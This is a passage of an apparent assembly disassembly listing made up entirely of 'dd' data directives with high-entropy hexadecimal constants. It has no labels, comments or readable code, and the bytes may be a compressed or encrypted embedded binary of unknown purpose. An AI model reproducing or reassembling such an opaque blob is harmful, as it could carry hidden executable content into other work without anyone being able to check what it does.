0A1435723h, 567F0C60h dd 5E3E146Ah, 0E4077525h, 6EB0465h, 0FA7DC63Bh, 1AA3E60Ah dd 2F597225h, 5DD214A4h, 0B7BC5820h, 262137A6h, 35895614h dd 4389481Ch, 6A08C019h, 0BDA1E81Ah, 0B4A45D29h, 158B44A8h dd 52AFCDAFh, 456820FAh, 0D359283Dh, 33EA02BBh, 87B8B9D2h dd 0F224C21Dh, 0A2767799h, 0A5F00E64h, 0B5A7F6D3h, 9C099703h dd 424C2062h, 0D1181973h, 3920D467h, 0A20730E8h, 783D80B0h dd 19546495h, 0F1C4E905h, 808D7AC3h, 0D56E22Fh, 0EF7AD6E8h dd 7CA7D849h, 71B04778h, 0C752C99Dh, 1C4118E5h, 1B8F11EBh dd 14AD8D04h, 89130532h, 29126B62h, 13B152FAh, 0F88DEEA4h dd 5A087Ch, 0C1F656B4h, 549D5780h, 5D89609Ah, 94474E8h dd 7FFFEC6h, 800BEB10h, 0AF136E65h, 0E1B8D58Ch, 75645DF6h dd 0C5F6110Ah, 3905F140h, 0E2523005h, 9D41FAE9h, 4A20FA31h dd 0C6230F5Eh, 2DEBC32Bh, 15D5E975h, 894A2C3Bh, 62C81D4Bh dd 8EF9D925h, 2223A4F4h, 8F091014h, 0C4072840h, 5E4A180h dd 26E583FFh, 0A0200A3Ah, 41307A18h, 0BBC48E0Ah, 0EBF06689h dd 0A4457594h, 950CF2B7h, 43A7CC5Bh, 82BACBD9h, 48F9107h dd 0BFCA2300h, 0C885C8B1h, 83EB357Fh, 2AA3CB23h, 1DC2CFD3h dd 69373D74h, 4B113CC6h, 6E4B4603h, 7ECA02FFh, 379948F8h dd 2E080413h, 337FBEDEh, 22054729h, 6691A57h, 5EA1D511h dd 483EE90Eh, 4B840530h, 9220B907h, 0A92ED3E1h, 0C7850764h dd 0DC21374h, 76D4A940h dd 5214927Ah, 1091BA38h, 0B54140A8h, 41AACE81h, 0E4F67F10h dd 240295C4h, 2776F70Bh, 58150815h, 0D20A275Bh, 0C10C8BD9h dd 563B6CE8h, 0CF600E0Ch, 84DF3BC5h, 22EF9B4Bh, 3EEB2518h dd 9FC54455h, 0F04B3C7Ch, 0FAF47D06h, 325F9D08h, 9C55661h dd 84CE5612h, 0DB1B753Dh, 0BBCF35EAh, 4CD63098h, 6D9D0AC7h dd 98968BC4h, 66289C6Ah, 9854094Eh, 0C10889A7h, 0F9868508h dd 4F458A59h, 0CB17F372h, 7460010Ch, 0BB0B4588h, 3FF34A77h dd 0A0884896h, 785A7500h, 507190BCh, 0EC02F9F6h, 9C6A746Eh dd 0EAC18E06h, 590C25B1h, 0E7584ACh, 9FD1E881h, 0B974DDB3h dd 6E9C3FEBh, 0E9B52813h, 9B42FA3Bh, 30FFB489h, 0F89D1675h dd 161A41C0h, 612D2CCAh, 0EF2BF412h, 4959EE32h, 505D7122h dd 1274EC6Eh, 73A59DAAh, 19AB0C2Ah, 35E10B68h, 8F49367h dd 0FD0776B0h, 20F0B02Fh, 743C1AB5h, 7C507022h, 6118E487h dd 226528A1h, 7563B46Eh, 954B3E48h, 645627A4h, 2034A925h dd 0A0D8C33Ch, 1D50EBC6h, 999D561Ch, 2402531Dh, 95A0CE39h dd 0A35828F3h, 4E4AA444h, 96BEE124h, 24EE0595h, 0F207E8B9h dd 0E9349050h, 0E466BC9Fh, 5D394294h, 52087618h, 2D348E0Eh dd 3B208499h, 8C180838h, 0AEF140DFh, 147E6374h, 0B14B81B4h dd 50312F5Fh, 2E197D50h, 5ADC1DB0h, 0B0F68157h, 8C310D77h dd 0E157752Fh, 57572F0Bh, 14290583h, 6056E094h, 563B3A9Ah dd 0F725A76Bh, 5908E569h, 8D0474EEh, 51CC6525h, 56E6723Ah dd 38A5724Ah, 8A889677h, 564022B2h, 0B37A4B3Fh, 2F30749Fh dd 0FE2D50DBh, 0A7382C73h, 1CB08758h, 0F2397730h, 0C9580888h dd 0C1FE8D36h, 77F16512h, 32BB85FFh, 5A4250E7h, 0A3D3942Eh dd 81FD5ACAh, 0A3D97C89h, 38A20692h, 4D60D2Dh, 0A22F5DD1h dd 40B49539h, 579D15D9h, 0E552750Eh, 42573BF2h, 0E05A79BDh dd 0A5A2186Fh, 398A60FEh, 8949851Dh, 9ACEF83Bh, 660725F2h dd 382763E3h, 5FAC7201h, 96B0A2E1h, 4DC56BB8h, 428A25A1h dd 392A7E98h, 2F7C64E0h, 0AEC93332h, 0CBE2DF08h, 5BCEE455h dd 0B419AD56h, 192D9811h, 72559D75h, 15E9A41h, 0A15B93E9h dd 0FC84EB1Ah, 50C83E2Eh, 3F7DDCB4h, 0FF1FC44h, 0CCCA4E8Ah dd 0F9800301h, 30757340h, 6022075h, 0D3C2A50Fh, 0D05C41E0h dd 0E19E7CBFh, 0B7E29E1Fh, 0F9D2A710h, 3C08CDC9h, 73562562h dd 765627A4h, 0C908E032h, 61E2326Fh, 0AF2F2E6Dh, 0FFBCFE53h dd 20FA1616h, 463B06D0h, 2E09F9FFh, 0D307ACD5h, 0F6E68940h dd 1A6CB058h, 300EFF11h, 0F1A3B5Ch, 63E45D23h, 8811C350h dd 0BC93186Fh, 0EF2404C4h, 313CC9BEh, 8AF32E2Fh, 855BE127h dd 38BD5613h, 3425ED4Eh, 41AE2D3Ah, 0D0F70C8Eh, 80F9D23h dd 0FE0B1473h, 2FB569DEh, 0D2F9F7F0h, 5D4A8977h, 86E7D6Ch dd 6BF72E86h, 49CE5E50h, 59156157h, 25BCB3C6h, 54C155A6h dd 6A962057h, 12581032h, 63EEE204h, 8B0E73ABh, 0BC1008DCh dd 18920C0h, 6712AE04h, 9D17250h, 2CBB70Fh, 7FBED1DEh dd 0ABBFEAA5h, 0BDD68A21h, 1F89A628h, 0C30F1BF5h, 8112214h dd 75D6D4A0h, 0C71D0B71h, 0C55D07EBh, 88010313h, 5ECF2301h dd 4C3B0570h, 8D6F18CDh, 4D41CDB4h, 5D5F6E80h, 5B10C7F6h dd 78425AABh, 7B568A92h, 85B37225h, 0BE98A38Ah, 1811044h dd 0EA84C714h, 41A2488Dh, 4CBACB8Bh, 0BE43CA88h, 1E61D2Fh dd 3B259BB0h, 7507A3CEh, 73F84C0Dh, 3A0A0837h, 5A044686h dd 0C62AD0B7h, 4F0C745Fh, 67551C2h, 3A7D560Bh, 505EC214h dd 8B068341h, 3110484Bh, 201809D2h, 49C9F255h, 1E67621Fh dd 0FA16CD10h, 0CA2B1781h, 21FFC983h, 85D2F8FFh, 75B01407h dd 0FED0461Ch, 3D117D03h, 66F8048Dh, 1C0E9638h, 23C5C07Ah dd 0BC49F27Ch, 0A63AF55Eh, 5A12F25Dh, 4FF55020h, 2BEA4D45h dd 2EB32806h, 55591F36h, 0A05890A4h, 2FE83799h, 1C440E51h dd 1C784E1Ah, 4BAC7739h, 2FC80140h, 0EF84EE3Ah, 950BEB04h dd 0F6F129E7h, 62D2EB9Dh, 0C9EBF095h, 10F759BAh, 0C2015F0Fh dd 995EC3CFh, 3BC8B499h, 14207D8Dh, 0EB8AD25Eh, 82A15813h dd 0A2B1124h, 0CE8B5AF2h, 58512BCh, 0A843215Eh, 0B2148E78h dd 0E8547EDh, 4E0F0857h, 0E9FC504Ch, 82E6B9A2h, 9C85DF2Ch dd 0F8B99021h, 0C14E3B40h, 0FF0A9A94h, 82149DC8h, 0A3AC4ADAh dd 7C144E6Bh, 8D26085Bh, 0BE38D854h, 34248930h, 4A820601h dd 755EF575h, 0CFA6DB12h, 5F5C02ABh, 0FAA9D3A3h, 420D2650h dd 2AF92341h, 9465B525h, 9629C939h, 5D5B530Bh, 84990804h dd 4FE3BFA9h, 0C83FCF41h, 0D8AA0C67h, 0D454EB5Fh, 2BE62E80h dd 0BFD6F8DAh, 23C82301h, 23DB56CEh, 3E0BE837h, 25D720ADh dd 6DC2CB18h, 3C7C4E8Bh, 7530EE22h, 6AF498DCh, 755B7602h dd 59080FF7h, 3B21E6C1h, 570F7CDFh, 0A073FFC2h, 105A0418h dd 67EBD30Dh, 0E02BBD31h, 0E9EA4B76h, 0E05A79FCh, 18B200A8h dd 24C8515Fh, 0A480FEAh, 3089D9E9h, 6AD42FEAh, 0C0632BFh dd 300206F4h, 10B484E1h, 0B1AFE381h, 2AEBD9B1h, 0FF1124EEh dd 0FB241618h, 0AFC04B01h, 0A0BB76D4h, 3325F4E5h, 3F5256F6h dd 0BF5F24DFh, 0D6297F36h, 0BB94FB24h, 53E992A0h, 0EF5B12C1h dd 2DB7B14Dh, 0A90877C8h, 0BA141F22h, 11265E2h, 4008FC43h dd 4F582BE6h, 2AF14C4Bh, 0A9441D0Ch, 3CEB0159h, 3F7FD83Bh dd 2F54212Bh, 3191C6D9h, 0F0136B76h, 4BAE52E8h, 1AFDD4C4h dd 1167C286h, 59529424h, 0E9988320h, 3B471D7Ch, 1728951Fh dd 5A31562Ah, 1257E50Ch, 8B216D10h, 73341477h, 0A2374803h dd 0AA52E91Fh, 8025C11Fh, 407FF765h, 0E8F30322h, 0D9FE4925h dd 0A0C1A466h, 7F38C49Eh, 0C0948510h, 1BD9F7C5h, 945EC958h dd 0F10B1C30h, 9D574ADh, 0ED0D40FFh, 0F836242Eh, 0E798509Fh dd 0C20A6F20h, 5752024h, 1831E92Fh, 0BC38686Ch, 6971274Dh dd 52FC8245h, 1A502CD9h, 25A46C23h, 0F292FDCBh, 0DAFB7E2h dd 0BD8FD595h, 9289EB73h, 0CCBA0C04h, 0C953240Ch, 1E90F22Dh dd 0BFD39543h, 38ADD777h, 0C0DE4AF5h, 7017E54h, 853006C6h dd 94C7F7DBh, 0FBC3FA1Fh, 0D5BACC33h, 0B5C3BE65h, 2041AABEh dd 10885A30h, 1AC5F8B7h, 6FE97508h, 50988CF7h, 3A12777Ch dd 0DA73539h, 44EF4EF8h, 0B203FADFh, 87FEF5EBh, 0F313EC3h dd 442FF18h, 8AF41289h, 0D3BD6A13h, 0AFF6814Eh, 0B7100886h dd 56128A67h, 0AC57FDB0h, 814F709Dh, 3743FE59h, 3C3068A1h dd 580C4FADh, 388B4111h, 66B9A5FCh, 0C1A8E897h, 0B258A304h dd 83187C2Fh, 7F320587h, 0B506715h, 0DABFD75Fh, 54B33E2Eh dd 5CDBC70Bh, 9340D32h, 5E1C84B8h, 32B3DDFAh, 3663D58h dd 0FFBF0642h, 4F8C4807h, 44CF2526h, 23F1C1C1h, 0BC2465CFh dd 124C732Eh, 0BED918D0h, 0B52580FBh, 0CF0B45CAh, 74E4027Fh dd 28E8F413h, 4FB97028h, 0BF95D23Ch, 21EEE964h, 124784B4h dd 0D44BD347h, 1E74A718h, 0F20C6646h, 4E4B64EBh, 0FB845301h dd 58AE8AC6h, 0B380815h, 6B43C8B7h, 0E2CF840Fh, 9352AF76h dd 56CECB09h, 31D3B24h, 0C1DA00C9h, 0D90B1FEBh, 120C8D0Ah dd 810B4089h, 0A60B74C7h, 0DFEB09B3h, 0CF0B13A3h, 8489A12h dd 2CB89ECh, 17930404h, 129D6FADh, 8875FD06h, 290E6414h dd 622DE9D0h, 60A14ADEh, 2BA4EAA9h, 6A408214h, 5BD6CCDFh dd 16191009h, 5E2B494Fh, 6817C2D0h, 5A92470Ch, 0FA3251Ch dd 358DC318h, 0AD120D0Fh dd 145009C8h, 1826CB6Dh, 74C95166h, 3638C2F6h, 71C8211Ch dd 5397787Ah, 6AC33414h, 0EED2E80Ah, 0B9B26BDFh, 0A22A1187h dd 92033C80h, 0F6426FEBh, 0D2BC203Dh, 5E0B7E70h, 5EC9207h dd 51C30E82h, 3389E87Eh, 2FD478EDh, 50B9C68h, 2D791AF0h dd 1DB09AABh, 436ED410h, 0E809110Dh, 197D12B3h, 4470F55Ah dd 706888F6h, 0A05BBBA6h, 840F1D20h, 26026412h, 0D8B20A1h dd 6B0DC0C4h, 39663CC0h, 15B62D34h, 0A35A9E01h, 8D94D368h dd 0C05F5215h, 0F66BF1C9h, 0C6033C15h, 0A476614h, 1B740CFFh dd 3B0F18A1h, 121AC579h, 5750C12Bh, 0C407688h, 0EB1170A3h dd 2D51A2B0h, 450CBF10h, 8B3D453Fh, 50F3A435h, 3F6A550Bh dd 610866BFh, 685333F4h, 57BB9774h, 0FCC02DAEh, 6C683911h dd 0A114E558h, 60800C1Eh, 0A408923Fh, 4520550Bh, 545A3F06h dd 8FC83AF8h, 6A9FCB20h, 0E83E080Fh, 0A10DC82Fh, 3442A6F8h dd 0C71D2FE9h, 26420C4Dh, 0AC1CA188h, 50112CB2h, 7742094Dh dd 59B5BC66h, 396B491h, 676EE81Bh, 97362A62h, 0FA71C466h dd 0F36B4A85h, 0A3C514A4h, 0E2F34B1Ch, 4910225Ch, 0E6975175h dd 7BF2C4B3h, 0A52188FEh, 9365FCAFh, 0DBEEA1C4h, 5A2DDF27h dd 5F4631CEh, 8B6D5B94h, 230B3CBh, 75C96936h, 894BF278h dd 0C25EBFB2h, 1EC02B1Dh, 7C3CC33Ah, 7F390107h, 0EFEB4603h dd 759E62BEh, 2D5C324Eh, 598A442Ah, 38A278Bh, 2BC82FC8h dd 2308F351h, 6E140289h, 0FD3B1828h, 0A4D9F7C4h, 0CE2B519h dd 4991C42Ah, 0B920F47Eh, 0E82A43ACh, 27A6DEC2h, 0B612E38Ah dd 0C5356C8Ah, 979FA820h, 0AB5A34AAh, 4A375D10h, 4C22F0E2h dd 0D9A0A4B4h, 46095B77h, 90053B14h, 0C80C755Fh, 1CA81010h dd 5A3D026Dh, 18672D22h, 142C08CCh, 23160D09h, 3C665135h dd 9045082Ah, 1199141Eh, 84101C12h, 15C8D998h, 1357940Ch dd 901B0E29h, 5350810Ah, 145814EBh, 0D315A657h, 5181FB4Ch dd 6041010Eh, 0D073C205h, 0B4C52C33h, 25501532h, 0BE0899C0h dd 3284BC1Ch, 0B8152875h, 130A5725h, 0B6641BBAh, 4904EB24h dd 0E3BB5753h, 0EB2C0A8Ah, 57C51F42h, 218A2037h, 0DDEB9E3Eh dd 54860235h, 0C7534E08h, 90FC4C07h, 0DD125FD0h, 0AF100516h dd 647B8844h, 3208AB58h, 14A10DD4h, 1C4EEC0Bh, 7DD03B0Eh dd 0FCA801Eh, 0BDFEBF8Ch, 8FC18F6Bh, 0CA0841B7h, 1228BE7Eh dd 0C3B21A7Dh, 7C14C674h, 7F2024F6h, 87E28F2h, 4795452Ah dd 4AAB95Dh, 60414C4h, 0E569061Eh, 38F38CF5h, 330F1275h dd 86C08C9h, 5FC19D42h, 0F94C48Eh, 9C191821h, 0BC2EEF1Ah dd 8B0188A7h, 1075610h, 0FA250889h, 831AC53Bh, 0C4F3C465h dd 0E151C4FEh, 4186DDBEh, 5209EB2Eh, 0C92E4C0Bh, 2081F5D3h dd 3B6DD269h, 576E20FAh, 30C1F8C1h, 3076AF9h, 3A84E8DFh dd 879C5025h, 0F799285Fh, 18453B8Bh, 1C553B82h, 7000E7Fh dd 0FD03C22Bh, 2E40DDEAh, 0A56EBF9h, 6079480Eh, 750518EAh dd 0B374B538h, 0B68B0882h, 661861Ch, 3B504410h, 207ECE03h dd 0FA07E983h, 7E89A91Bh, 0A099EF7h, 6681850Ch, 7F801307h dd 40C94D03h, 17B47E7Dh, 24F9AD2Bh, 3E2C370Dh, 0BA28AA6Ch dd 560C8CB8h, 1262FD2Ch, 0F990A330h, 2BA955EBh, 6400B14h dd 2162B905h, 966E82Bh, 9F830D79h, 49A2265Ch, 11EB0DA1h dd 0E03E09BAh, 0B7A10E51h, 25135441h, 2D29CD46h, 0CBDA514Dh dd 74A3BE84h, 0BFB60FC5h, 244C134Ch, 0F19784h, 0D01C750Bh dd 132EBCF6h, 41A020Eh, 5A56C245h, 0FC3E231Bh, 75C450FCh dd 0FA25EF01h, 2484F0FCh, 684230BCh, 0EED85AECh, 0D9E98975h dd 9055672Fh, 0B7C4681Ch, 0AF11142Bh, 742A40A3h, 0B4526850h dd 0A0507811h, 286DA308h, 2CDD1A2Bh, 0CA10F94h, 0FFECB44Eh dd 36F9D05Bh, 2CA1F262h, 53051190h, 6C7512A2h, 530489BFh dd 954ED2A0h, 0EB42DF5Eh, 0EB98D7F8h, 0AF4A0F08h, 19FEF9F0h dd 168957E0h, 0ACBD2F77h, 0C3A4BFA4h, 0AA584E77h, 52FB6C75h dd 0C04B0CF4h, 2E5C771Dh, 938710DDh, 9144FA4Bh, 0D3BF4C75h dd 3E4B0207h, 120332EFh, 0AC9E0938h, 563F0921h, 6F7F086Ah dd 24750985h, 40FA4C7Fh, 619F821Bh, 52388530h, 8BEB1909h dd 824942DEh, 7566EE27h, 725D271Ah, 0EB561573h, 0F52FB1ECh dd 0B03B505h, 0B1DD5E94h, 0A0F44C0h, 0C440F62Fh, 0E80D313Bh dd 0B67B6182h, 470114B7h, 7C140ABCh, 96BF2417h, 0BB1AB034h dd 590D2133h, 85FB2483h, 0BCB7DCEEh, 96497395h, 1018A2B8h dd 0BF4B6C09h, 5333E4Bh, 8CAA1D6Ch, 9F8415F6h, 0F6E1F973h dd 0F4E6C844h, 4AF9112Ah, 0E9C1D6C4h, 2C3BD7DCh, 0DD9D08E5h dd 0F5636312h, 6CC43121h, 558AD62Ah, 452B46A5h, 0A86F7EFCh dd 5C8D8F88h, 0D2AFF017h, 0EDAB016Dh, 16D0135Fh, 0AF0BAA66h dd 0A60C8E8Ch, 0F83B1693h, 0C76D057Dh, 7C2A2750h, 0D956643Eh dd 8741552h, 0EB180F4Ah, 54E2B3D7h, 0A255E4Ch, 0F05AC9FCh dd 20919DD7h, 0F89DAD5Ch, 7D4027DEh, 112522E2h, 0C925932h dd 1ED9E2A3h, 5909FF2Dh, 0F70324F1h, 5BF61BDEh, 6532AC08h dd 45291548h, 0AC24353Eh, 203E9004h, 0D6F42408h, 5FC6C095h dd 34B70DEBh, 499FBE17h, 7C2F2174h, 8DC063C8h, 88E132A2h dd 0DAC1FA72h, 5C582E73h, 255E1033h, 0B1550A89h, 922A7C85h dd 7FF437DEh, 0DBA7CB1Dh, 8D178B3Fh, 6FD8C489h, 0E82B30FEh dd 39F14B7h, 1720DEAEh, 91E977FEh, 38F79F31h, 8C87C4BBh dd 562D31B7h, 2D30BC9Eh, 0CE162BD8h, 0EBF603h, 0C13F34C5h dd 0B3F1FE9h, 60B84AF1h, 709FD73Fh, 49EA5F04h, 1A57E1D1h dd 502E39B5h, 5E6536BFh, 86CFC5F2h, 0E90C3AECh, 1D89CE0Bh dd 0DFE7F808h, 9BEA9F19h, 407356CFh, 75BA5AD7h, 49931788h dd 4DD3336h, 31AC56F8h, 1C404E10h, 538C1389h, 12080604h dd 0FB575176h, 8DF3B440h, 0E3A5F07Dh, 70E898FFh, 1A6691FFh dd 52DD0D6Ah, 0A902F477h, 0D4145A10h, 7AB6AE42h, 80BE0F1Bh dd 2F213C42h, 1C7C91E1h, 0B83C5AD7h, 0B675181Bh, 0DE395FC8h dd 0AE2817ACh, 1C1534Bh, 4389104Ch, 9EC7A845h, 0CFAFEEB7h dd 4AD2B4E1h, 811F0194h, 7330FFD1h, 0D3EB03FEh, 6789BE5Bh dd 106424F3h, 3D97B6A4h, 0F91C15EBh, 0DBE2665Bh, 4A80AE5Eh dd 5C71DC0Ah, 642C649Fh, 0B8A4EE10h, 3B814AAEh, 0F22B5AC0h dd 7AE827FBh, 208B837Ch, 0E040DC06h, 2D081D4h, 0FF804E4h dd 5D5EFAECh, 74207668h, 0A8090BCEh, 40FA390Ah, 29B80D05h dd 0E7EB4700h, 8A5E046Ah, 56BB01Fh, 870F0BF8h, 24AEA477h dd 56928513h, 0FB803400h, 0C20C7C31h, 77F390Ah, 1DE9B1C0h dd 7D3A31C9h, 1E3F689Bh, 9F46A205h, 2B034CD9h, 8F481E74h dd 88FB0E44h, 24AD4B0h, 374C77F6h, 0A4D85B50h, 0EB5812CEh dd 561BFFA7h, 9E123421h, 0F0A2039Fh, 0A514057Ch, 934BAE7Eh dd 0B6BC5008h, 31678A22h, 2C542D0Ah, 5248300Fh, 8E0F4301h dd 18400289h, 81127E45h, 7B1C9063h, 8F2665CFh, 6A0B1372h dd 27C8E906h, 0B874FCFh, 148EC087h, 0B209C8A6h, 9A4A564Ch dd 0B4595831h, 940C9D19h, 518B47B5h, 21B0BFC2h, 0C41539FDh dd 7E7E3FC9h, 44C3169Dh, 16A1D5B1h, 5A0172C0h, 0A80E4EEBh dd 0D4FEF553h, 0ECD613B0h, 73190802h, 0CDF62510h, 30EB8086h dd 0B13EF30Ch, 35D53EF1h, 0B7D22A5Fh, 75670B72h, 0BEC29884h dd 0BFDBCFF8h, 75DC060Dh, 6AD6EF0Dh, 0F3282501h, 8D647168h dd 11321CE4h, 0E88BDA34h dd 94B94704h, 0AD40823h, 44122D66h, 0D568E901h, 0ED4D5EEFh dd 8D036118h, 0DEC4D5CBh, 57FA00B5h, 91FE4F8Dh, 2BA3248Ch dd 7744128Ch, 649018C8h, 60190DCh, 65EB086Ah, 0CDE052B2h dd 18830529h, 8C0F67F6h, 0D4AFF248h, 0E98F186Ch, 0C60AEB13h dd 210E7C29h, 6A097F1Ch, 0E94F5881h, 7523FDB8h, 0EB447505h dd 8346BEC1h, 0CDB52A74h, 0BFBBFFDAh, 0C01435DBh, 25E6A2AFh dd 8337F683h, 89E95807h, 81085E44h, 4F0A3C84h, 0A17580CCh dd 0E91195A5h, 0DF25A46Fh, 1B8834BCh, 338BD8BEh, 0EB9F64Eh dd 1AA017F1h, 11551C8Bh, 0CCCFB66Fh, 50FE8102h, 7F1437FCh dd 2DBECEC3h, 846F1951h, 0CD4A784Dh, 47A49F46h, 3B4FD038h dd 0E3742B42h, 7E3219ACh, 0D9A48438h, 58186A41h, 76A82039h dd 7D801500h, 37C05BBh, 0D7DAF7FEh, 48F46B90h, 0EB7F219Ah dd 122013D2h, 0D2A5860Fh, 0C2E7B155h, 0CBBF665Dh, 447FF237h dd 86A45A53h, 6A5EF08Eh, 0A0C110D4h, 0D53FC933h, 7D1500E2h dd 3D8F702h, 0E01448D9h, 10909561h, 78DC2018h, 3D1C292Bh dd 307E0BC2h, 0BFA04677h, 1AD6D36Ah, 0CE5506B3h, 65D448C8h dd 0DB336004h, 4A70B9B8h, 736192C9h, 0A2B3177Bh, 3D5E0EEFh dd 7DBC98B0h, 0AAFEBF09h, 0E4349E6Fh, 0C9BFACAEh, 79D672A4h dd 0C292C855h, 0CA31C610h, 0ADB5EBFBh, 0F69F4172h, 0AB2B96BDh dd 493320Ah, 0F22E1511h, 170F2911h, 4D618768h, 0E3600B08h dd 71891C5Fh, 259CB06h, 0A419A83h, 0A2EC922Eh, 0A15C1197h dd 3B0C52D7h, 400109AAh, 86892B53h, 3322FD12h, 487D0454h dd 22E1915Ch, 7E9745CBh, 0D2168F64h, 499FB3FCh, 27F1BEC8h dd 90456427h, 85660EB8h, 0CB257C9h, 0E508CC23h, 0E712E689h dd 0E948E824h, 0EB22EA91h, 88EDEC44h, 0EF80FBEEh, 0DF5BB73Fh dd 0FBD092h, 2D0243DDh, 0DD304EBh, 0C20C27E0h, 1E75D298h dd 1A5AB378h, 15E513A1h, 0E12383F8h, 20081946h, 40C0103h dd 6BFEE930h, 8483B566h, 7B3DB87Ah, 2EC73480h, 0DEFAB8B1h dd 0F70F63B3h, 405C2BFEh, 0E86816FBh, 46EBBA81h, 15749750h dd 6529B781h, 2220745Eh, 68282EECh, 0F641AE0h, 61272367h dd 9AD8681Dh, 8FB48D23h, 0AC67C972h, 0B505D160h, 6EE97810h dd 0D068D3C5h, 66EB1D61h, 0E8EB0618h, 0B7480FE1h, 80CF2594h dd 6918E922h, 1E105AC0h, 8EE4555h, 34A2AF66h, 4E0C8D09h dd 0FA555E00h, 4D76C96Bh, 9FF67D3Eh, 0EDCB01B4h, 259DD2BCh dd 25F0FEC1h, 0BF0FF209h, 0FF3A89C6h, 0C7E85868h, 809971B5h dd 0FA7D8166h, 724B3FFFh, 46E42105h, 38E1921h, 86E3EC3Bh dd 2E900118h, 0C677433h, 36D147Dh, 7F027C9Eh, 0FAF1E908h dd 8322CF86h, 8EDF158Bh, 865F8AE6h, 57FA7509h, 1B3F9C84h dd 8191D5FBh, 0B82B081Ch, 5DE8C2DFh, 4D7BE8F8h, 7559161Ch dd 175BB0F1h, 81DEF709h, 7E0410E6h, 6E1DA90Dh, 362C4E13h dd 115F3F3h, 2251DAh, 507E1C9Ah, 147DFAB0h, 0C8F07539h dd 0D1A53812h, 1AE8D825h, 5037F84Eh, 94A1195h, 0A6C29F08h dd 0FB1699F7h, 7B8A139Eh, 0EECA8B34h, 44F417C4h, 3E0A9404h dd 188E041h, 0C1B6752Fh, 62618A8Dh, 0F98098CBh, 4B8D0035h dd 3B307C04h, 0F4F72C1h, 21064592h, 3EF1EB48h, 4240A5D2h dd 808E634Fh, 0EC2CC32Ah, 0B0549088h, 80C00508h, 0BB041864h dd 6164EACAh, 0DE30090Ch, 5BF4996Fh, 0DC0436D9h, 63803082h dd 0B05A5D05h, 67FBD35Bh, 0D8C77667h, 9597432h, 0D0E97D46h dd 0F2030341h, 2A0A843Ch, 18ED060Fh, 9EB27B2Eh, 8B16F822h dd 95C23C35h, 0EB0583B8h, 381A2134h, 2720C23Ah, 84754042h dd 0E8571A0Ah, 70192DCFh, 41CEC070h, 38900BEFh, 26059034h dd 64257E83h, 41AB6B75h, 7258BE62h, 5DE4E813h, 508C6FC7h dd 0EEF94A3Bh, 4B0BE508h, 1D0A24FDh, 25D822FEh, 361A068Eh dd 1529615Fh, 0FEFD943Fh, 298C1832h, 0BF082605h, 398EEFC9h dd 2B1AA128h, 0AD04D6C1h, 56E7A0Dh, 148D1E7Dh, 7591B840h dd 0D5F2954Fh, 0C2102220h, 0EB1E490Ch, 4B20D407h, 53F90E27h dd 0EA1D644h, 0F7E21D6Bh, 4678AAEFh, 82A0A13h, 4BB77B89h dd 88A3DA16h, 5B12AF29h, 53F95613h, 421C8CB2h, 3905A016h dd 0F490C950h, 9DA54FEh, 0C455FC14h, 8F825D0h, 9C2B24Fh dd 23657457h, 0EB391B06h, 821B5068h, 3AB25E8h, 5014DFF9h dd 89369A1Eh, 0AF5FDC91h, 0FB3E2885h, 0FBE5BC5h, 0F8E959FFh dd 2F9269D7h, 0C0CB4130h, 59C73B1Fh, 22C01776h, 3D383C80h dd 0FF0F4E75h, 7F2CF209h, 0CE22013Ah, 0E14304C6h, 448D3805h dd 99BF0138h, 93CF2EABh, 0A95A7312h, 5454E70Dh, 84C8A06h dd 3E72699Dh, 0A4A2E5E7h, 16092534h, 7524C3EDh, 7FE16801h dd 7C810DEBh, 45D616ADh, 0B911BFBFh, 0ECA44AC9h, 660A1C88h dd 3273B25h, 9657DFC2h, 0AEB2F10h, 0E5B76C36h, 4844AD51h dd 4B28667Eh, 81B48E0Ah, 0BE9CEC16h, 4626C7E4h, 0BAF9320Ah dd 330E0F52h, 42C223F8h, 83E781CAh, 503D667Eh, 9201C324h dd 830F17E8h, 81B421B8h, 1622B2F9h, 0FDFA18ADh, 8723BF7Bh dd 3F173DA2h, 2ECCF977h, 0EC3AAD3Ah, 957F028Ah, 0CFFE2662h dd 60C65616h, 4639242Ch, 6D0B1D8Ch, 0E90D26FEh, 20A55B6Fh dd 1E94637Eh, 1953201Fh, 3A433916h, 7103D511h, 15BC2ADAh dd 0E9068B9Dh, 1A2D6AF4h, 0F4982BE7h, 50C0886h, 3208B98h dd 3A7497C0h, 0EA497E0Ah, 8138F26h, 0BB9FB4B8h, 64D54D25h dd 1218DABCh, 633F8DCh, 0C1AFB109h, 83FC188Eh, 5051C0BCh dd 9CE831FFh, 372F35Fh, 7D96CA06h, 256EFACh, 0F4746DE8h dd 0E819E3B0h, 0FC1AC875h, 18B012B6h, 7F590C50h, 92819C28h dd 88C0022Eh, 7E52824Bh, 0E7BEE025h, 0DFC5A280h, 0B5D4E891h dd 20B23B8Fh, 527F1E44h, 392907E2h, 0E60EA216h, 0D4E5B82Bh dd 133921Eh, 7CAE8B0Ah, 7412DC78h, 0E3EAFF03h, 83C13253h dd 0EAADE14Bh, 0ECEC4E92h, 0E3389ACCh, 230FAF34h, 5A8B0F77h dd 0DD9843Eh, 8C1A3DF1h, 4235750Ah, 25E3BFDEh, 1EB565B3h dd 14E299AAh, 196E071Dh, 46A8E657h, 0DC31AB41h, 52BD0E87h dd 0CA062E31h, 0F4BEED10h, 24A3E2ADh, 33548BDEh, 1B7673A7h dd 0BE9FBA3h, 0E89F0C7h, 193B10D4h, 0E40C024Eh, 1E500603h dd 36C7EBD9h, 0FF45DFF7h, 12FA95BBh, 667197D7h, 64C408C7h dd 68812683h, 0E37E087Eh, 0BB53815Ah, 6B65D488h, 60EBD8FFh dd 17169039h, 0D07D6374h, 0D5E8BBC2h, 5EEA28D6h, 1417AA61h dd 71067510h, 2240E77Fh, 88575641h, 545FC383h, 61038082h dd 666007CBh, 8D272574h, 0C6811705h, 9198C2BAh, 0D89872EAh dd 0A5F47D1Ah, 0F6648502h, 0AB5B3DBCh, 0AF723C48h, 7F338DDFh dd 7C5DC3F9h, 4FE5522Fh, 0AAB65D40h, 66AE6D64h, 42BF0DFAh dd 0AFCC7FB5h, 0D3B78170h, 0AE07930Ah, 0FD5A3A96h, 0D6D6FEEDh dd 8D8B45A9h, 531E3EBCh, 8F050656h, 0B8C54E74h, 0CB7F11A9h dd 26FE6A03h, 84C08334h, 0B0EF3BE8h, 2C557653h, 69B1560Fh dd 2F4655FCh, 5055373Eh, 56361542h, 0AF87D422h, 0AE4495E5h dd 852694BEh, 9758AB8Ah, 9FB87557h, 0DCD2FDCCh, 0F52F9FACh dd 7C1041FBh, 978C30FCh, 5848B0A4h, 12755FB2h, 0EDB85740h dd 3B884112h, 15FFE002h, 35B8DF08h, 0BC44483Dh, 0EC3AC223h dd 43144CB4h, 